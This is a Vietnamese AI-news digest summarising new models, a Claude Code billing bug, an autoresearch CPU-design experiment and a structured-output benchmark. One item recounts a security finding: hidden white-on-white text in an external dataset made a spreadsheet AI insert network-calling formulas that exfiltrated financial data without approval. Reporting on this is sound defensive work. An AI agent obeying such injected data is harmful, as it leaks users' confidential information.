Tin nổi bật
Mistral Medium 3.5 + Vibe remote agents: coding agent chạy trong cloud, mở PR khi xong · 8 phút https://mistral.ai/news/vibe-remote-agents-mistral-medium-3-5
Mistral Medium 3.5 ra mắt với 128B params dense, context window 256k, đạt 77.6% trên SWE-Bench Verified — vượt cả Devstral 2 lẫn Qwen3.5 397B A17B. Nhưng phần đáng quan tâm hơn model là Vibe remote agents: bạn launch một coding session từ Le Chat hoặc Vibe CLI, agent chạy trong sandbox cloud, mở pull request khi xong, song song nhiều task cùng lúc — không bị stuck với một local terminal. Giá API $1.5/$7.5 per million tokens (input/output) đặt nó ở khoảng giữa Sonnet và Opus, nhưng open weights trên Hugging Face dưới modified MIT license nghĩa là tự host được chỉ với 4 GPU. Nếu workflow của bạn đang là “kick off task, chờ agent xong, review”, đây là model đáng thử thay cho default Claude/Devstral.
Models & Tools
Bug Claude Code: chuỗi HERMES.md trong commit message khiến request bị tính extra usage · 4 phút
https://github.com/anthropics/claude-code/issues/53262
Một developer phát hiện bằng binary search: nếu git commit history của repo chứa case-sensitive string HERMES.md, Claude Code route request sang extra usage billing thay vì plan quota — anh ta đốt $200 credits trong khi dashboard vẫn báo còn 86% weekly capacity. hermes.md chữ thường, HERMES.txt, AGENTS.md đều OK; chỉ chuỗi đó cụ thể trigger. Lỗi nằm ở server-side content-based routing dựa trên commit message trong system prompt — nếu repo của bạn có file đó, kiểm tra usage ngay.
Ramp Sheets AI bị prompt injection exfil dữ liệu tài chính qua formula · 5 phút https://www.promptarmor.com/resources/ramps-sheets-ai-exfiltrates-financials
PromptArmor demo cách giấu indirect prompt injection trong dataset external (white-on-white text) khiến Ramp Sheets AI tự chèn formula gọi network request, exfil dữ liệu confidential mà không cần user approval. Bug đã được fix tháng 3 nhưng bài học áp dụng cho mọi AI agent ghi spreadsheet: agent vừa đọc untrusted data vừa có quyền chèn formula = attacker có channel exfil ngay trong tool. Claude for Excel cũng từng có lỗ hổng tương tự.
Research & Insights
Auto-Architecture: agent autoresearch của Karpathy thiết kế CPU RISC-V tự động · 9 phút https://github.com/FeSens/auto-arch-tournament/blob/main/docs/auto-arch-tournament-blog-post.md
Karpathy’s autoresearch loop — propose / implement / measure / keep wins — vừa được port sang lĩnh vực mới: thiết kế CPU. Tác giả áp dụng vào core RV32IM in-order viết bằng SystemVerilog, dùng riscv-formal + Verilator cosim + nextpnr P&R làm fitness function. Sau 73 hypothesis và 9h 51m wall-clock, agent tìm ra 10 cải tiến (instruction-replay table, static branch prediction, hot/cold ALU split, pending-store retirement) đẩy CoreMark lên +91.9% so với baseline. Đây là blueprint thực tế cho việc dùng LLM tối ưu code ở domain ngoài comfort zone — Python/gradient descent.
SOB benchmark: đo Value Accuracy thay vì chỉ schema compliance cho structured output · 5 phút https://interfaze.ai/blog/introducing-structured-output-benchmark
Hầu hết benchmark structured output chỉ check schema validity — model emit JSON đúng format nhưng giá trị sai vẫn ăn 100%. SOB tách ra Value Accuracy và Perfect Response, test trên text (HotpotQA), image (olmOCR-bench), audio (AMI Meeting Corpus) qua cùng một scoring harness. Top-5 cho thấy structural metrics đã saturate gần 100% — khác biệt thật giữa model nằm ở value accuracy. Nếu bạn đang chọn model cho extraction pipeline, leaderboard này informative hơn JSON validation rate.
— tinAI